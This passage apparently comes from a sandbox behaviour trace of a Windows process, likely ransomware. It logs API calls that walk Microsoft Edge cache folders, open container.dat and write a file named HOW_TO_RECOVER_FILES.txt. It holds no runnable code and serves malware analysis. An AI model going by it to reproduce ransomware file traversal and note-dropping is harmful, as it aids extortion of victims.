lpOldMode=0x1fbee4e0) returned 1 [0194.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0194.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", lpFilePart=0x0) returned 0x41 [0194.485] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.486] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.487] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_bingpagedata", cAlternateFileName="MICROS~4")) returned 1 [0194.487] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_DNTException", cAlternateFileName="MI18F7~1")) returned 1 [0194.487] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_EmieSiteList", cAlternateFileName="MICFB7~1")) returned 1 [0194.487] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_EmieUserList", cAlternateFileName="MI15A7~1")) returned 1 [0194.487] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_iecompat", cAlternateFileName="MICROS~1")) returned 1 [0194.488] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_iecompatua", cAlternateFileName="MICROS~2")) returned 1 [0194.488] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_ieflipahead", cAlternateFileName="MICROS~3")) returned 1 [0194.488] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_ieflipahead", cAlternateFileName="MICROS~3")) returned 0 [0194.488] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0194.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0194.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0194.489] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers", lpFilePart=0x0) returned 0x41 [0194.489] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.490] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.490] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_bingpagedata", cAlternateFileName="MICROS~4")) returned 1 [0194.490] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_DNTException", cAlternateFileName="MI18F7~1")) returned 1 [0194.490] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_EmieSiteList", cAlternateFileName="MICFB7~1")) returned 1 [0194.490] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_EmieUserList", cAlternateFileName="MI15A7~1")) returned 1 [0194.490] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe0889c9e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_iecompat", cAlternateFileName="MICROS~1")) returned 1 [0194.490] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf5b4b18, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf5b4b18, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf5b4b18, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_iecompatua", cAlternateFileName="MICROS~2")) returned 1 [0194.491] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf58e291f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf58ffddd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf58ffddd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge_ieflipahead", cAlternateFileName="MICROS~3")) returned 1 [0194.491] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0194.491] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0194.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0194.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0194.492] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", lpFilePart=0x0) returned 0x5c [0194.492] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.493] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.493] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98c6f7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c6f7b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c6f7b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0194.493] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0194.493] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0194.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0194.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0194.493] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata", lpFilePart=0x0) returned 0x5c [0194.493] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.494] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf98c0dcf, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c8304, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c8304, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.494] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98c6f7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c6f7b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c6f7b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0194.494] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98c6f7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c6f7b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c6f7b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 0 [0194.494] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0194.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0194.494] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat", lpFilePart=0x0) returned 0x6a [0194.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0194.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_bingpagedata\\container.dat"), fInfoLevelId=0x0, lpFileInformation=0x35717e0 | out: lpFileInformation=0x35717e0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf98c6f7b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf98c6f7b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf98c6f7b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0194.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0194.495] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat", lpFilePart=0x0) returned 0x6a [0194.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0194.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_bingpagedata\\container.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0194.495] GetFileType (hFile=0x7c8) returned 0x1 [0194.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecd50) returned 1 [0194.495] GetFileType (hFile=0x7c8) returned 0x1 [0194.495] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1fbecf88 | out: lpFileSizeHigh=0x1fbecf88*=0x0) returned 0x0 [0194.495] CloseHandle (hObject=0x7c8) returned 1 [0195.804] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat", lpFilePart=0x0) returned 0x6a [0195.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0195.804] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_bingpagedata\\container.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0195.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbe97d0) returned 1 [0195.807] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0195.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed0f0) returned 1 [0195.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_bingpagedata\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_bingpagedata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0195.807] GetFileType (hFile=0x7c8) returned 0x1 [0195.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed060) returned 1 [0195.808] GetFileType (hFile=0x7c8) returned 0x1 [0195.808] WriteFile (in: hFile=0x7c8, lpBuffer=0x371e4f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbed1b8, lpOverlapped=0x0 | out: lpBuffer=0x371e4f8*, lpNumberOfBytesWritten=0x1fbed1b8*=0x5d0, lpOverlapped=0x0) returned 1 [0195.809] CloseHandle (hObject=0x7c8) returned 1 [0195.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0197.137] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException", lpFilePart=0x0) returned 0x5c [0197.138] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_DNTException\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc580 [0198.091] FindNextFileW (in: hFindFile=0x1ecdc580, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9090a172, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9090a172, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.091] FindNextFileW (in: hFindFile=0x1ecdc580, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x909a2acc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x909a2acc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x909a2acc, 